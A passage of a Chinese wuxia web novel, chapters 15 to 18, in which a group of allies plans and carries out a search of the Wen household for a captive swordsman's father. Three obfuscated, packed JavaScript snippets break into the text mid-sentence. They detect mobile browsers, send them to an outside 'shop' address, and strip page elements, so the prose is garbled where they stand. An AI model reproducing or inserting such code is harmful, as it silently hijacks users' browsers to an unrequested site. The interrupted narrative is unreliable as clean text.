一枚金币,那就是打听江湖人、江湖事,不能牵涉朝堂和江湖世家,范围瞬间缩小。 伙计将这枚金币放入桌下的孔洞中,又摇了摇旁边的铜铃,接着给韩英沏了杯热茶,笑着道:“客官稍等。” 也就一盏茶的功夫,装着消息的狭长木盒就从孔洞中出现。 韩英拆开纸条,疑惑道:“御景园怎么会有‘测士’?那不是个卖首饰的铺子吗?” 伙计见这位客人质疑这字条内容的真实性,立刻回应:“从无定斋递出来的消息可从不作伪。” 韩英摆了摆手示意了解,随后就驾着马去喻府找喻九秋去了。 也就刚到早食,御景园外已经有客人在陆续进出。 “是你?”陈暖刚进御景园就看到韩英站在门口当门神。 韩英原本脸色通红地拿着多位姑娘相赠的香囊,见到熟人后立刻站在陈暖身边长长松了口气:“这些姑娘太热情了,要招架不住了。” 陈暖看着他怀中捧着的香囊,打趣道:“小公子打眼一看就是意气风发的模样,那些姑娘看着心生欢喜也是人之常情。” 陈暖看着韩英听到自己的夸奖后脸又红了起来,岔开话题问:“你来这是……?” 韩英指了指不远处正在挑选首饰的人:“我们是来等御景园掌柜的,听说她今日来涉州……” “谁在等我?”刚安排完人将带来的首饰带到后屋的纪灵进门就听到有人在谈论自己,她站到陈暖身边打量着这位少年。 韩英被眼前这位俏丽的姑娘震惊到说不出话来,他一直以为能开得起这么大的铺子且还是位“测士”定是个老者,没想到竟然如此年轻。 “在下姓喻、小弟姓韩,来这是想请姑娘用测字术推衍一下写信之人的境况。”不知何时走来的喻九秋朝纪灵奉上一封信笺。 纪灵看了眼陈暖,见她不发一言就知道面前这两人并无恶意,既然能从无定斋花大价钱买来消息,想必是极其重要之事。 她看着眉宇间暗含焦虑的喻九秋,道:“随我上楼。” 时间在一盏茶又一盏茶的功夫溜过,韩英时不时趴在内室门口听里面的动静,时不时又坐下喝茶,看着两边闭眼打坐的人,就在他实在忍不住要开口的时候,内室的门开了。 陈暖立刻上前接住摇摇欲坠的纪灵,用衣袖替她擦了擦额间沁出的汗。 纪灵神情凝重地问喻九秋:“写信的是你何人?” “是家父。” “速去找递信之人。 令尊处境很不好……很有可能已被囚禁。” 15. 人心 “……你说什么?” 喻九秋脑袋有片刻的空白。 纪灵没有再重复,因为她知道在场没有人比喻九秋听得还清楚。 韩英怔愣许久,转头再次问喻九秋:“是谁给你的信?” “温凌萱。” 喻九秋从嘴边挤出这三个字的同时,头皮发麻,脚底寒意瞬起。回想起温凌萱那日听他退婚时的反应,原来一切都有迹可循。 陈暖和纪灵对视了一眼,明白原来面前这位喻公子就是温家长女要嫁的那位喻公子。 “拦住他!” 纪灵一直在不动声色地观察喻九秋的神情,但当她说出这句话的时候已经迟了—— 韩英只感觉到眼前有人影闪过,在听到纪灵的声音后下意识转身抓住他,但喻九秋的衣角从他的手中划过。 陈暖让纪灵靠在门边,也就两息,跟上了已经在楼梯中间的喻九秋。 “砰”的一声从楼梯那传来,惊得二楼以及大堂的人都抬头往上看,却并没有看到什么身影出现在楼梯上,整个御景园变得落针可闻。 大管事也是个机灵的,立刻吸引了客人的注意力:“许是有伙计碰倒了东西。今日诸位在本店受到了惊扰,那我就做个主,给各位小姐和公子的账上都抹个零头!” 他话音一落,御景园内顿时一派热火朝天的景象。 陈暖听到楼下又恢复了热闹,将手中的匕首又往躺在楼梯上的人的脖子上压了压,警告道:“敢在御景园里用你的轻功离开这里,是想拉着整个御景园给你陪葬吗?” 喻九秋听到她的话后原本还在挣扎的身体也停了下来,他闭了闭布满血色的眼睛,再睁开时眼中已经恢复了一些清明。他吃力地抬了抬脖子,示意让陈暖移开压在自己胸前的胳膊。 陈暖见他恢复了点理智,就将胳膊和抵在他脖颈处的匕首收回,她站起来低头看着喻九秋:“还想继续谈就上来,要是想死就给我滚出这里。” 韩英目瞪口呆地看着陈暖走过来,他是第一次见,竟有女子能这般轻易放倒一个人。 陈暖无视韩英崇拜的目光,进屋给纪灵和自己倒了一杯热茶,问她:“身体还受得住吗?要不要去休息?” 纪灵摇了摇头,勉强笑道:“没事儿。” 韩英坐到她们对面,好奇问道:“姐姐,测字竟如此耗费心神吗?” 陈暖没好气道:“不然呢,你去外面打听一下,当‘测士’的有几个高寿了?。” 韩英被堵得哑口无言。 他听说过不少江湖中的奇闻逸事,其中“北算南测”是最让他唏嘘不已的一则故事。 相传有一术士自北方而来,虽不会读书写字,但却自称仅凭手中的三枚铜钱和一片已经破裂不堪的龟甲就能算尽天下事。 他在一次南下云游的途中遇到了街边一个摆摊帮人写字的书生,想到自己许久未向家里人报平安,便请这位书生代写了一封家书。 书生写到最后依照规矩递笔给这位术士,让他留个字迹以作代写凭证。 术士:“我不会读书写字。” 书生见怪不怪:“留个记号即可。” 术士就绞尽脑汁落笔画了个符号,在要付银子的时候却被书生挡回:“难得遇到同业之人,这钱我就不收了。” 术士惊诧,细问后才知此人竟会测字看相、算人心。 此后二人就同吃同住,天天只想着争是你卦术高超,还是我测字更准。 然而算命,算的是未知之命;测字,测的是幽暗人心。 “那后来呢?”韩英在台下问把故事讲得绘声绘色的说书先生。 “后来?哪还有什么后来!命数和人心岂是我们能参透的?” 后来韩英才知道—— 那二人一死一疯。 “我真没事,主要是一直赶路没休息好再加上劳心费神了些,一会儿睡个觉就好了。” 韩英被纪灵还带着虚弱的声音拉回了思绪,他惭愧道:“以后纪姑娘有什么需要尽管说,万死不辞!” 陈暖冷哼了一声:“有你什么事?要道歉的可不是你。” 刚走到门口的喻九秋听到这句话后脚步顿了下,进来后对着纪灵行了个大礼,道:“这次是在下莽撞了,差点陷二位姑娘与御景园于不义。” 今时不同往日,城内本就不能轻易动武,更何况在这人多眼杂的御景园,怕是有无数对家、无数双眼睛盯着这里,等着挑错。若是一旦藐视律法、煽动江湖人心的罪名扣下来,后果不堪设想。 “既然事情并未发生,就先不提了。目前最重要的是……”纪灵没将话说完,因为她知道若不是因为这件事,他们也不至于留在此处。 喻九秋坐在韩英旁边,冷静道:“要是想确认是否真如纪姑娘所说……那这婚肯定是要成的。” 在座的其他人也没再提别的意见,毕竟面对未知的环境,只有先踏进去,才能再说其他。 温家本就因为神山衡一事暗含不轨之心,如今又大张旗鼓地置办婚宴不知目的为何,更何况…… 陈暖握紧了手中的杯子,按捺住想杀人的心思—— 不知道崔书雪在其中扮演了什么角色。 “你一个人不行,还得再让喻大哥雇些人手潜藏在温家周围,最好派几个能潜入温家的好手。” 陈暖否定了韩英的话:“若是平时还好说,现在明摆着温家要有大事发生,怎么可能放陌生面孔进来?” 纪灵也在思考:“但肯定还是要有人接应喻公子,以免有意外发生。” 韩英发愁道:“能把眼线长时间安插在有势力的家族中,不是有权的就是更有势的,我们短时间从哪儿找啊!” 陈暖听着韩英的话,脑海中浮现一个身影。 “我去找,下午把人带过来。你们俩……”陈暖用眼神示意对面的韩英和喻九秋,“去买与温家相关的消息。” “去哪买?”韩英疑惑抬头。 陈暖:“……” 年纪轻轻的,怎么说傻就傻了? 陈暖指了指西边。 韩英了然道:“原来是无……呜呜?” 韩英的嘴里突然被塞进一个糕点,他以眼神抗议,拿下糕点:“凭什么不让我说?” 陈暖威胁他:“在御景园敢说那三个字我把你舌头拔出来。” 韩英缩了下头,默默吃手上的糕点。 纪灵无奈地摇了摇头,看着在旁边走神的喻九秋,安慰道:“喻公子也不必过于忧心,万一我的测字有不准的时候呢,毕竟这门手艺我已是许久不曾碰过了。” 纪灵见他不发一言只点了点头,也不知道这宽慰的话他听进去了多少。 但在座的只有纪灵知道,喻父的处境远比他们想象的更糟…… “站住。干什么的?” 陈暖看着拦住自己的百清卫,想了想道:“我要报官。” “报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935066|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官请移步城北望涉司。” “……” 没想到在涉州城还有这么多规矩,早知道自己就应该继续选择爬墙而不是一本正经地在这走正门。 陈暖抱臂站在门口,在想自己是硬闯还是大喊。 “哎?”宝卷恰巧从回廊穿过院子,看到门口有人被拦下以为又是来报案的百姓,待仔细看清那人后立马小跑上前,摆了摆手示意百清卫放人进来,“陈暖!你真的来了!” “你家公子呢?” “我家公子……”宝卷压低声音凑在陈暖跟前,“在沐浴呢。” 陈暖看了看这艳阳高照的天,不解地问:“这大中午的?” 宝卷也没细说,只是带她穿过了几道月洞门,进到了许和意的正房里。 屋内陈设简单,连幅字画都不曾悬挂,只有窗边堆满书信的矮几上摆着盆含苞待放的栀子。 陈暖环视一圈坐下,看着宝卷,问:“带我到这?” 虽说江湖儿女不拘小节,但男女之间该有的礼数还是要偶尔讲一下的,再说她也没觉得他们之间有什么很近的关系。 “公子提前交代的。”宝卷给她沏了杯茶。 陈暖指着矮几上凌乱放着的书信,问他:“能看?” 宝卷点了点头,看到她正在仔细翻阅信件,也就不再打扰。 书信里多是些关于崔书雪和温家的事,看着虽多,但实际有效信息却很少,这里面只有一件事吸引了陈暖的目光。 “唐渊案”后虽江湖沉寂,但也不乏一些有反抗之心的江湖世家,这其中就有温家。 温家凭借着名震江湖的武功秘籍在十年前俨然已成江湖第一世家,然而反抗之心使温家彻底没落——对外宣称神山衡已同温老爷子下葬,实际却被朝廷焚毁。 这期间温家由于没主心骨主持大局,逐渐四分五裂,是温凌萱在这两年内收拢势力,担起了重振温家的重担。没有人知道她具体做了什么,但“算无遗策,心狠手辣”这八个字在陈暖手中这封信的结尾显得触目惊心。 她虽未曾亲眼见过温凌萱,但这几天不论是在城内还是城外,她听人谈论的温凌萱是位蕙质兰心、痴情无双的女子…… 许和意靠在门边看着她,从窗外洒进来的暖阳照在她的指尖上,随着信件翻阅的动作细碎的金光在她指尖流转。 这般宁静景象里的她,倒与平日里江湖人闻之色变的杀神,判若两人。 看到陈暖翻完所有书信,他就坐到了陈暖对面,问:“听说陈姑娘是来报官?” 陈暖闻声抬头,打量了许和意一番,然后皱眉问:“你受伤了?” 许和意轻描淡写地说:“小伤。” “我具体报什么官你会不知?”陈暖以眼神示意桌上的信件,懒得和他打机锋,“既然大人已经猜到我的来意,那就走吧?” “去哪?”许和意这回是真的困惑。 他本以为陈暖过来是想问崔书雪的事情,便提前将眼前的书信放到这里,不曾想她竟另有意图。 陈暖也疑惑地看着他,随后恍然大悟:“崔书雪的事还不劳烦大人出马,这次来主要是喻家与温家的事。时间紧迫,路上细说。” 陈暖刚走到门口,突然转身,恰巧看到许和意穿外袍时肩膀露出的明显新包扎好的伤:“对了,路上还请大人告知一下伤势是否严重,这样方便后续安排。” “……” 自己这是被嫌弃了? 16. 集结 “你对温凌萱了解多少?”陈暖刚坐进马车,就步入正题问道。 许和意半倚靠在丁香木制成的凭几边,想了想道:“温家自从神山衡被焚毁后一直挺安分守己的。” 陈暖像是听到了什么天大的笑话一般,冷笑出声:“安分守己?” 若不是自己看到他房间里的书信,可能还真就信了。 许和意将胳膊肘柱在几案上,手掌半托着腮帮子,另一只手懒洋洋地摊开:“她手段狠辣是一回事,但百清堂也确实没有查到温家有什么错处,甚至遇到天灾人祸时还主动出钱、出力。” 陈暖拧起眉头,也就过了几息想明白了:“是崔书雪。” 温凌萱手段狠辣是一回事,但她可以为了营造温家的好名声把脏活交由别人来干,那这又是另外一回事了。 “崔书雪不是离开温家了吗?”陈暖不解。一个已经重获自由身的人,没道理还会选择继续为主家效命。 许和意从有点凌乱的几案上翻出来一本已经看了一半的话本,递给陈暖。 陈暖一看书名,原来是这段日子坊间争相传阅的情爱话本。 她惊诧道:“为情?” 这…… 这陈暖着实没想到。她想了多种理由,为钱财、为地位……唯独没想到是为情—— 这种最虚无缥缈的东西。 许和意给陈暖沏了杯茶递给她,问道:“温家和喻家怎么了?” “你还记得喻典吗?” 陈暖接茶的时候看到他眼中闪过一丝困惑,继续提醒他:“‘松云客’。” 许和意恍然大悟,继而道:“他不是……” “松云客”是十五年前名震江湖的人物,一柄松涛剑、一把破云扇,硬是守住了喻家的万贯家财,同时也保护了无数农户的百亩良田,当真称得上是一代大侠。 只不过十年前他突然从江湖退隐,从此江湖上再没有关于他的消息,就连掌握江湖中各大高手信息的百清堂对他的去向都无从知晓。渐渐地,这个名号和这个人就极少被人提及。 “我今日来找你就是为了他。” 陈暖同许和意讲了上午在御景园发生的事后,掀开车帘看看已经走到哪了。 许和意听完陈暖说的话后就一直低头沉思,待缕清思绪后抬头问她:“你……” 陈暖原本在津津有味地看路边小摊上的吃食,听到他的声音回头。她只觉得眼前突然有人影闪过,紧接着眼前一暗,带着栀子的清香萦绕在鼻端,有几缕发丝拂过自己的侧脸后落在肩上。 “咚”的一声从马车里传来,只见整个马车震了震,连马儿都受了惊,扬颈嘶鸣一声停下了来。 路边行人被这突如其来的动静惊得安静了一瞬,看到没有什么后续动静,就又恢复了先前的热闹。 “大人,没事吧?”车夫也被这响动吓了一跳,却不敢贸然掀开车帘。 许和意此时靠在车壁上,一手扶着腰,一手扶着有些裂纹的几案,一脸难以置信的表情看着陈暖放下刚才抬起来的右脚。 “没事,继续赶路吧。” 许和意拍了拍腰间衣服上印出来的清晰脚印,发现并没有什么用的时候,就抖了抖衣服,整理了下有些凌乱的衣摆。 陈暖尴尬地摸了摸鼻尖,心虚地避开他谴责的视线道:“我不习惯有人突然近身。” 许和意看着她有点泛红的耳尖,认命地叹了口气:“是我的错,我刚才看到经过的路口尽头有个人跟周景林很像,只想着要看得更清楚一点。” 周景林? 陈暖觉得这个名字很耳熟,好像在哪里听人说起过。 “揽水城三城主。” 许和意这一提醒,陈暖就想起来在下君来村的时候,偶尔会听魏燕他们闲聊提到这位“周城主”。其过往虽然被传得扑朔迷离,但自从他连续五年准确预测野火来临的日期,城中众人便对他的能力深信不疑,因此还拥护他当上了三城主。 下君来被灭村,野火火势是崔书雪派人人为助长的,但如何能准确判断野火的到来时间,且在关键时刻开展计划,如今看来一切已经有了答案。 周景林按照信中给的路线走过了好几个路口,也穿过了好几条小巷,终于走到了一座僻静小院的门口。 他刚掩上门,转身就被脖颈前突然而至的一柄弯刀吓得连连后退,靠在门板上。 “何人?” 周景林强装镇定:“周景林。” 萧云收起就算在阳光下还依旧泛着寒光的弯刀,问他:“一人?” 周景林点头,在门口大气不敢出地站了一会儿,等萧云确定后面没有尾巴跟着的时候才敢走动,跟着萧云进院子。 萧云敲了敲门,道:“公子,周景林来了。” “让他进来。” 周景林看着坐在椅子上身着霜色素锦长衫的崔书雪,他面容虽看着清淡,但却眼含锐利,眼角处的红痣如月下寒梅般凛冽疏离。 他们之前在揽水城的时候一直都是以书信往来,这是周景林第一次见崔书雪。根据他以往干脆利落且狠辣的行事风格,周景林本以为是个长相阴鸷的男人,万万没想到面貌竟是如此眉目清朗…… 不对。 周景林注意到了对方抬袖间衣袖侧面露出的点点红色痕迹,他不会天真地认为那是刺绣…… 他低头,看到脚下刚好踩到了一小滩尚未干涸的血迹,脸色未变,只是往前迈了一步,对崔书雪抱拳:“在下周景林,久闻崔公子大名。” 崔书雪看着眼前也就年三十许的周景林,指了指左侧的椅子道:“三城主不必客气,请坐。” 待看对方落座后,崔书雪漫不经心问他:“揽水城准备得如何?” 周景林看到他打开了一封信,将其摊开在桌子上,也不敢猜测是不是与自己相关。 “人都准备好了,就等着您一声令下。” “‘秘术’一事是谁泄露出去的?” 周景林被他突如其来的问题问愣了,接触到对方不含任何情绪但却幽深无比的目光后立刻打起精神回道:“是当日一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935067|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去监督采矿的二城主的一位手下,不过他们都已经……” 周景林话音逐渐消失,因为他和崔书雪都清楚与“秘术”相关人的下场都是怎样的。 “还算你聪明,想到第一时间以流言掩盖,要不然……” 周景林看到崔书雪将那封信凑近桌边的火烛,待其燃烧后丢在了地上,信逐渐被烧为灰烬,他偷偷松了口气。 崔书雪将手边的木匣放到桌沿:“这是进城手谕及涉州城地图,今夜开始将人陆续都送进来,聚齐后等我消息。” 周景林起身去拿那只木匣,木匣却纹丝不动,他面带困惑地看着崔书雪,后者警告他道:“别被百清堂发现。” “崔公子请放心。” 崔书雪站在门口看着周景林离开,送走了今天见的最后一人。 他揉了揉发酸的肩膀,接过萧云递过来的茶,一口将其饮尽,问:“萧肃回了吗?” “刚回,人也从小姐那接过来了。” “那就走吧。” 也才刚申时,御景园门口就支起了“今日暂歇”木牌,惹得许多人都悻悻而归。 “书我就先借用一段时间,改日奉还。”陈暖将下马车时顺手带走的书朝许和意扬了扬。 许和意也没反驳她的话,只是笑着摇头看她推开紧闭的店门。 “书?什么书?那书我怎么看着这么眼熟?”姗姗来迟的宝卷刚站在许和意身边就看到陈暖拿着本书进了御景园。 “你的话本。” 宝卷感觉天要塌了:“什么?!那可是我跑了涉州城好几家书肆,专门早起排队好不容易才买到的!正看到精彩的地方呢!” 许和意也不管他的哀嚎,跟着进了御景园。 没了平日喧闹人声的御景园,霎时静了下来,钗环玉佩熠熠生光,满室的流光溢彩,俨然成了一座藏满奇珍的宝阁。 宝卷看得啧啧称奇,望着这满铺的时新花样及样式,终于明白为什么御景园不过数年光景,就能一跃成为首饰行当的翘楚。 陈暖进屋后环顾了四周,没有见到韩英的身影,问屋内沉默的两人:“韩英呢?” “被韩家人接回去了。”喻九秋见她进来,将刚倒好茶水的被子推到桌边。 毕竟这涉州城看着要出大事的样子,提前被家里人接走也挺好。 陈暖边想边将水一口喝完,看到许和意进来,对喻九秋道:“你们俩就互相介绍下,事情的来龙去脉我已经同他讲过,一会儿我们再一起商量计划。” 她说完就坐在纪灵身旁,从怀中掏出那本从许和意马车上顺来的话本递给纪灵:“你不是昨夜在城外驿馆睡前还念叨着想看,喏,专门给你借的。” 纪灵瞬间眉开眼笑,她打开这话本看到里面每隔几页就有朱红批注的痕迹:“这……” 陈暖偷偷嘀咕道:“认真吧?没想到许大人闲时竟喜欢看这类书,而且还这么认真钻研。” 纪灵“噗嗤”笑出声,道:“这可不是许大人的字,只是和许大人的字极为相似罢了。” 17. 今夜(上) “纪姑娘当真是好眼力。”许和意落座,给纪灵斟了杯茶,感谢她挽救了自己的形象。 “是吗?”陈暖再次拿起话本仔细端详,还是没有发现什么端倪。 “字形可以相似,但字里行间的神韵每个人都是独一无二的,不过想必这话本的主人定与许大人是极亲近的。” 许和意点头:“是自幼便与我一起的伴读。” 陈暖惊诧,看宝卷那跳脱的性子,着实没想到这潇洒飘逸的字竟然是他写的。 “笃、笃、笃。” 许和意看到屋内其余三人瞬间警惕的神情,立马抬手解释:“是我的伴读。”随即扬声唤道,“进来。” 宝卷应声推门而入,手上捧着几卷大小不一的卷轴。 陈暖看到他进来,偷偷地把刚才随手放在桌边的话本藏到了桌下。 宝卷放下卷轴的时候敏锐地捕捉到了她的动作,给了陈暖一记重重的眼刀。 待宝卷关门离开后,许和意率先开启话头。 “陈姑娘既是以‘报官’之名探查温家,那搜查的人手就由百清堂派出。”许和意说完就自觉地停下来,等着其他人进行后续的安排。他心里知道,陈暖之所以找到他,就是想借着百清堂的名义能光明正大地在温家解除武力的限制。 不过他们本来就打算搜查李家,这下倒省了找借口的功夫。 陈暖接过话头:“温凌萱虽然没有见过我,但以防崔书雪给她或者她身边的人看过我的画像,一会儿让纪灵帮我略微乔装一下,我以‘陈廉’的身份作为许大人的下属同他一起进温家,我们先行打探一圈。” 喻九秋看着陈暖,问道:“大概需要多久?” 陈暖看向许和意,因为她着实不清楚温家到底有多大。 许和意从桌上卷轴里抽出来一卷,里面绘有温家的简易布局图,他用手指在布局图上的小径或回廊处来回粗略丈量了一番,回道:“约半个时辰。” “好。”喻九秋点头,指着与温家后院相隔一条小巷的岔路,“那我到时在这条巷子里等你们来会和。” “虽说先前既已经搜过一回,等你们三人再潜入府时,他们定会有所松懈,但是……”纪灵神情有些担忧,“万一他们已经将人提前带走了呢?” 许和意摇头道:“百清堂先前就在温家周围布了些人手,目前还没有收到有行踪可疑的人出入温家的消息,温凌萱今早出城也没什么异样。” “崔书雪现在在暗处,目前还不知道他会有什么动静,所以事不宜迟……”陈暖将身旁的窗户推开,原本安静的房间忽然有街道里热闹的声音传入,缓解了室内略微紧绷的气氛,她抬头看了看外面的夜色,“今夜戌时一刻就出发。” “咕噜——” 陈暖回头,看着对面装作听不到还依旧沉默的两人,身边的纪灵缓缓举起手,认真地看着自己,语气诚恳:“离出发还有一段准备的时间,申请吃个晚饭。” 陈暖哭笑不得:“也没说不让你吃饭吧。” “好嘞!”纪灵立刻推开门,趴在栏杆上朝下面大喊,“李叔!开饭啦——” 宝卷在楼下闲着无聊,正溜达着看货架上的头饰,被这突然的一嗓子惊得抬起了头,就看到御景园那位年轻的老板正朝自己招手:“小兄弟,上来一起吃饭!” 也不知后厨等了多久,纪灵这一嗓子落下,立刻就有人端着冒热气的佳肴鱼贯而入。 陈暖正欲接纪灵递过来的金花茶,却被一直情绪低落的喻九秋率先抬手接过。他挨个给他们斟上,郑重道:“今夜我就先以茶代酒,感谢几位的鼎力相助,不论结果如何,喻家会永远记住几位的大恩。” 陈暖看着喻九秋将茶一饮而尽,和纪灵与许和意心照不宣地对视了一眼。 他们本就各怀心思意欲调查温家,恰巧遇上了“松云客”可能遭遇劫难的事,刚好能顺其自然地以此为借口对温家展开调查。当然解救是真,但他们有其他的目的也是真。 这些喻九秋是不知情的,面对他这突然的认真感谢倒是让陈暖有点心虚了,她踢了踢许和意,以眼神示意他说几句,然而对方却装死。 陈暖只好清了清嗓子,拿起杯子一口饮尽,然后道:“喻公子倒也不必这么客气,我想但凡有点侠义之心的人听说‘松云客’可能会有劫难,定会站出来相助。” 纪灵连忙拿起手边的茶盏跟着喝完,接话道:“对对对,更何况我们都还略有点本领,岂会袖手旁观?” 许和意也跟着举起茶杯饮尽,道:“分内之事。” 宝卷见状也立刻一口灌了下去,发愁自己应该说什么,毕竟自己只是被喊来吃饭的…… 他突然灵机一动道:“不如你们干脆拜个把子吧!” 陈暖看着他,心里想:你要不要听听自己在说什么? 纪灵看着他,心里想:到底还是年轻。 许和意看着他,心里想:看来话本还是要让他少看。 喻九秋看着他,笑道:“这提议不错。” 都有人说“提议不错”了,其他人还好意思说“不”吗?于是一个简单的四人口头义结金兰的仪式就完成了。 这是陈暖从小到大除了拜师以外,第一次和别人结拜,没想到竟如此草率……她和喻九秋也就才见过两次面吧。 现在撕掉宝卷的话本还来得及吗? 在他们结拜完毕后,屋内便陷入了一阵反常的寂静,好似除了喻九秋和宝卷外,剩下的三人都处在不真实感觉中。 “吃饭、吃饭!”纪灵率先打破这诡异的安静。 然而这顿饭吃得也异常沉默,以至于宝卷都后自后觉在想自己是不是说错了什么话。 “咚——梆!” 楼下一更天的锣鼓声刚响,纪灵恰好帮陈暖束好了发:“好了!” 陈暖看了看铜镜中只与自己原本相貌有五分相似的脸,不得不再次感叹:“纪师傅这易容的手艺是越发精湛了。” 纪灵压下她竖起的大拇指:“别贫嘴了!万事小心。” “放心。” 喻九秋看到陈暖出来,若不是与她有过短暂的相处,定会怀疑这身打扮的到底是不是她本人。 明明容貌乍一看有原身的影子,但若是细看却又觉得哪哪都不像。 “这么震惊?”陈暖摸了摸自己的脸,看着一直盯着自己的喻九秋。 “没想到纪姑娘竟有如此出神入化的易容手段。” 纪灵刚收拾完东西从内室走出来就听到喻九秋毫不掩饰的夸赞,笑道:“喻公子过誉了,我会看相,自然也会易形,喻公子日后若有需要尽管来找我。” “走了。” 陈暖和他俩打了声招呼,就往后院走去,上了一辆已经在后门等了有一会儿的简朴马车。 日头落尽,街头小摊已经开始收摊,路上原本赶着回家的行人被一串训练有素的脚步声吸引,纷纷站在路边看着他们穿街而过,随后讨论声渐起: “看这方向是去仁安里的温家?” “你竟不知?” “今日下午客来酒肆那位‘名嘴’传出温家囚禁了‘松云客’的消息,这架势,是有人报官了吧。” “‘松云客’是谁?” “温家怎会无缘无故囚禁人,怕是这中间有什么误会。” 路边行人人纷纷点头表示认同。涉州城的百姓或许不知道“松云客”是谁,但知道温家是不会做出无端囚禁人的举动。 “为何搜府?我温家一直安分守己,到底是何人意欲抹黑?”温府的宋管家将百清卫拦在门外,义正词严道。 宋管家话音也就刚落,耳边传来“嗖”的一声,一柄刀直直插进宋管家身后的大门上,力道大得竟直接穿透了门板。 “真是狗胆包天,百清卫办事竟敢阻拦,我看这‘涉州’干脆改为‘温州’算了!” 马蹄声由远及近,一道响亮的嗓音跟着从黑暗中传来,随后缓缓显现一道身影,是位红带束发、神色间满是狂妄的女子,她身后跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935068|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一辆车帘上绣着山河纹样的马车。 宋管家原本极为不悦地正欲反驳这贸然动手的女子,在看到她身后的那辆马车后,先是神色一变,然后立刻换了副殷勤的面孔,小跑着站到马车边,等车上的人下来。 他从望涉司得到的消息是今夜百清堂会派人搜查温府,本想着打马虎暂时拖延点时间,但没想到这位大人竟直接亲自出面。 马车的窗帘被掀开,许和意看着他,将身子斜靠近窗户,很明显没有下马车的打算:“不能查?” 宋管家吓得连忙摆手:“能查、能查!” “陈廉。” 宋管家见那叫陈廉的女子控马过来,连忙后退了几步给她腾出空间。 许和意对宋管家道:“她是陈督领,今日便由她带人搜查贵府。” “是是是,我给大人带路。” “不必,让他们自己去就行。”许和意抬手将绘有温家布局图的卷轴递给还骑在马上的陈暖,丝毫不介意被宋管家看到,然后对宋管家说,“你就站这里陪我说会儿话。” 听着院中传来的动静,宋管家苦不堪言地站在马车边,那位刚才说和自己聊天的大人在百清卫进去后就直接将窗帘放下,然后就再没有其他动静。 陈暖诧异这偌大的温家竟不似自己想象中的人多,就连仆从都只有那院内站着的一二十人。 陈暖站在院中环顾四周,精准捕捉到了自从她进来就一直在观察自己的那道视线。那人被陈暖发现了也依旧无动于衷,只是倚靠在回廊暗处的栏杆旁,目光紧紧跟随她。 陈暖刚走到温凌萱书房门口,原本只是在远处观察自己的人在她推开门的时候就已经站在了身后。 陈暖没有感觉到对方身上有杀气,转身不明所以地看着他:“打架?” 那人不发一言,就只是看着陈暖。 陈暖见对方也没有阻止自己搜查,就索性不管他。 就这样,陈暖搜到哪,那人就跟到哪,问他也不答话。直到陈暖带着几个百清卫刚走到西南角的一间房前,就被他拦下了。 陈暖再次问他:“打架?” 不用对方回答,因为那人的剑已经替自己挡下了从屋□□出的暗器。 “咦?竟还有漏网之鱼?” 陈暖一时间不知道该惊讶这个人会说话,还是该疑惑这人为什么要帮自己。 也没听许和意说这温家里还有个武功不俗的内应啊! 陈暖就在外面站着,和跟着自己的几个百清卫一起大眼瞪小眼地听着里面激烈的打斗声。 陈暖问那几个百清卫:“你们的人?” 这回也不用他们回答了,因为她已经知道了答案—— 陈暖看着突然昏倒的那几个百清卫:“……” 陈暖将刀横在刚在里面打完架出来的人的脖颈边:“你是何人?” “帮你的人。”哪怕被刀正架在身上,那人依旧面色未变,“这里没有你们要找的人,但这里面有你要找的东西。” 陈暖眼神瞬间变得锐利,垂着的左手倏然翻转,藏在袖间的匕首毫不犹豫地刺向那人的肩膀,只听“叮”的一声脆响,竟被一物硬生生挡住。 陈暖定睛一看,那硬物竟然是由铜制作而成的一柄醒木,借着院中火光她看清了上刻的“支”字。 “支玉林是你什么人?” 那人并未回答,只是道:“我的迷药仅能维持半刻钟。” 陈暖看着那人说完这句话后就轻车熟路地足点假山、手搭檐角,身形一晃便消失在黑暗中。 夜色里,那人也就在檐上几个起落,纵身翻入了一家酒肆的客房里,落地时竟未发出半点声响,只有窗边轻微晃动的烛火昭示着原本紧闭的房间有风吹进来。 屋内原本已经闭眼熟睡的老者在那人落地的瞬间骤然出声,竟无半点刚醒来的惺忪:“阿贤,事办好了?” “对。” “那就睡吧,明日还需早起说书。” “好。” 18. 今夜(中) 夜凉如水,城内的店铺多数已经竖起了门板,四周静悄悄的,只有客栈或者酒肆还点着留夜灯,昏黄摇晃的烛火下,隐约传来的杯酒相撞声勉强破开这城中愈来愈浓重的夜色。只是这声响,却无法令一些店铺的小厮们清醒,见没了客人,有些已经开始倚靠在桌边,偷偷打起了瞌睡。 